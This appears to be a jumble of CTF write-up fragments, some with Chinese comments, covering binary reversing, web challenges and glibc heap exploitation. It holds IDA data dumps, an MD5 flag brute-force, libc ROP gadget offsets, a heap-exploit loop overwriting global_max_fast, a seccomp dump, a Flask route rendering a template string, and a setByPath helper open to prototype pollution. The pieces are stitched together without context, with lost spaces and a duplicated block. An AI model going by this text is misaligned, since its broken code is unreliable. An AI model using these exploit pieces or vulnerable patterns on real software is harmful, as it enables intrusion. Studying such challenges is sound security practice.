.data:00420100 byte_420100 db 0 ; DATA XREF: sub_401D80+63B↑o .data:00420100 ; sub_4024A0+4F↑r ... .data:00420101 db 1 .data:00420102 db 2 .data:00420103 db 3 .data:00420104 db 4 .data:00420105 db 5 .data:00420106 db 6 .data:00420107 db 7
import pyramid import os text = 'A pyramid fortified with intricate defenses looms before you. \nIts secrets are locked behind layers of puzzles. \nYou stand at its base, challenged to unravel them all.' print('・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・') for line in text.split('\n'): print(f' {line}') print('・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・') pyramid.a_long_way_to_treasure() try: os.remove('checkinput.pyd') except Exception as e: pass
.rdata:0000000180008280 unk_180008280 db 0A9h ; DATA XREF: .rdata:0000000180007F80↑o .rdata:0000000180008281 db 6Ch ; l .rdata:0000000180008282 db 63h ; c .rdata:0000000180008283 db 6Dh ; m .rdata:0000000180008284 db 64h ; d .rdata:0000000180008285 db 72h ; r .rdata:0000000180008286 db 65h ; e .rdata:0000000180008287 db 61h ; a .rdata:0000000180008288 db 2Bh ; + .rdata:0000000180008289 db 30h ; 0 .rdata:000000018000828A db 0B5h .rdata:000000018000828B db 1Bh .rdata:000000018000828C db 0BDh .rdata:000000018000828D db 0Ch .rdata:000000018000828E db 6Bh ; k .rdata:000000018000828F db 6Fh ; o .rdata:0000000180008290 db 81h .rdata:0000000180008291 db 61h ; a .rdata:0000000180008292 db 6Eh ; n .rdata:0000000180008293 db 67h ; g .rdata:0000000180008294 db 64h ; d .rdata:0000000180008295 db 72h ; r .rdata:0000000180008296 db 65h ; e .rdata:0000000180008297 db 61h ; a .rdata:0000000180008298 db 6Dh ; m .rdata:0000000180008299 db 69h ; i .rdata:000000018000829A db 74h ; t .rdata:000000018000829B db 73h ; s .rdata:000000018000829C db 6Dh ; m .rdata:000000018000829D db 71h ; q .rdata:000000018000829E db 67h ; g .rdata:000000018000829F db 6Fh ; o .rdata:00000001800082A0 db 62h ; b .rdata:00000001800082A1 db 61h ; a .rdata:00000001800082A2 db 6Eh ; n .rdata:00000001800082A3 db 67h ; g .rdata:00000001800082A4 db 64h ; d
// Size: just 4 is fine. Exec. time of function GetKeyStream() reduced! staticunsignedchar KeyStream[4], KeyStreamT1[4], KeyStreamT2[4], KeyStreamT3[4];
s = b'flag{4f9cc0d2b33f5d7e2b0955765bb33f0' from hashlib import md5 for i in '0123456789abcdef': if md5(s + i.encode() + b'}').hexdigest() == '7a2028696ca643a57ddeda6642f781ae': print(s + i.encode() + b'}')
RAND=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32) FLAG_FILE="/flag-$RAND.txt" if [ -n "$FLAG" ]; then echo"$FLAG" > "$FLAG_FILE" fi unset FLAG export FLAG=""
@app.route("/view", methods=["GET"]) @login_required defview_user(): """ # I found a bug in it. # Until I fix it, I've banned /api/bio/. Have fun :) """ username = request.args.get("username",default=current_user.username) visit_url(f"http://localhost/api/bio/{username}") # 访问 bio template = f"""{{% extends "base.html" %}}...""" return render_template_string(template)
svcudp_reply = libc+0x17923d swapcontext = libc+0x5815d pop_rdi = libc+0x10f75b# pop rdi ; ret pop_rsi = libc+0x110a4d# pop rsi ; ret ret = libc+0x582bb
""" line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015 0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007 0006: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0013 0007: 0x20 0x00 0x00 0x0000001c A = args[1] >> 32 0008: 0x25 0x05 0x00 0x00006146 if (A > 0x6146) goto 0014 0009: 0x15 0x00 0x04 0x00006146 if (A != 0x6146) goto 0014 0010: 0x20 0x00 0x00 0x00000018 A = args[1] 0011: 0x35 0x00 0x02 0xcad5b000 if (A < 0xcad5b000) goto 0014 0012: 0x35 0x01 0x00 0xcad7c000 if (A >= 0xcad7c000) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS 0015: 0x06 0x00 0x00 0x00000000 return KILL """
if (!SINGLE_THREAD_P) { if (mem == 0 && av != NULL) { LIBC_PROBE (memory_calloc_retry, 1, sz); av = arena_get_retry (av, sz); mem = _int_malloc (av, sz); }
if (av != NULL) __libc_lock_unlock (av->mutex); }
/* Allocation failed even after a retry. */ if (mem == 0) return0;
p = mem2chunk (mem);
/* Two optional cases in which clearing not necessary */ if (chunk_is_mmapped (p)) // 如果chunk是mmaped,那么不会memset { if (__builtin_expect (perturb_byte, 0)) returnmemset (mem, 0, sz);
return mem; }
csz = chunksize (p);
#if MORECORE_CLEARS if (perturb_byte == 0 && (p == oldtop && csz > oldtopsize)) { /* clear only the bytes from non-freshly-sbrked memory */ csz = oldtopsize; } #endif
/* Unroll clear of <= 36 bytes (72 if 8byte sizes). We know that contents have an odd number of INTERNAL_SIZE_T-sized words; minimally 3. */ d = (INTERNAL_SIZE_T *) mem; clearsize = csz - SIZE_SZ; nclears = clearsize / sizeof (INTERNAL_SIZE_T); assert (nclears >= 3); // 这里正常memset calloc分配后的mem if (nclears > 9) returnmemset (d, 0, clearsize);
/* chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (size of chunk, but used for application data) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|1| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ */ #define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)
# global_max_fast = 0x1eeea0 malloc() for i in range(14): free(29) if i==0elsefree(28+2*i) edit(2, p64(libc+0x1eee98+0x80*i)) malloc() malloc() if i==13: edit(31+2*i, b'\x00'*0x68+b'\x82\x00') else: edit(31+2*i, b'\x00'*0x78+b'\x82\x00')
ban_doesnt_trigger = True for c in banned: if c in to_enc: print(f'BAN | {c} | found') ban_doesnt_trigger= False if ban_doesnt_trigger: print("All good")
ban_doesnt_trigger = True for c in banned: if c in to_enc: print(f'BAN | {c} | found') ban_doesnt_trigger= False if ban_doesnt_trigger: print("All good")
WEBLESS
一、题目描述
用户注册登录后,可以创建 Post ,创建好之后可以浏览,也可以通过点击 Report to Admin 触发机器人访问该Post
exportconst setByPath = function(obj, path, value, delimiter) { const keys = Array.isArray(path) ? path : path.split(delimiter || '/'); const last = keys.length - 1; let diver = obj; let i = 0;
for (; i < last; i++) { const key = keys[i]; const value = diver[key]; // diver creates an empty object if there is no nested object under such a key. // This means that one can populate an empty nested object with setByPath(). diver = value || (diver[key] = {}); //自动创建中间层级:如果路径中的某层不存在,自动创建为{} }
def rc4_init(key: bytes): # 初始化状态 S 和辅助数组 K S = list(range(256)) K = [key[i % len(key)] for i in range(256)] j = 0 for i in range(256): j = (j + S[i] + K[i]) & 0xFF S[i], S[j] = S[j], S[i] return S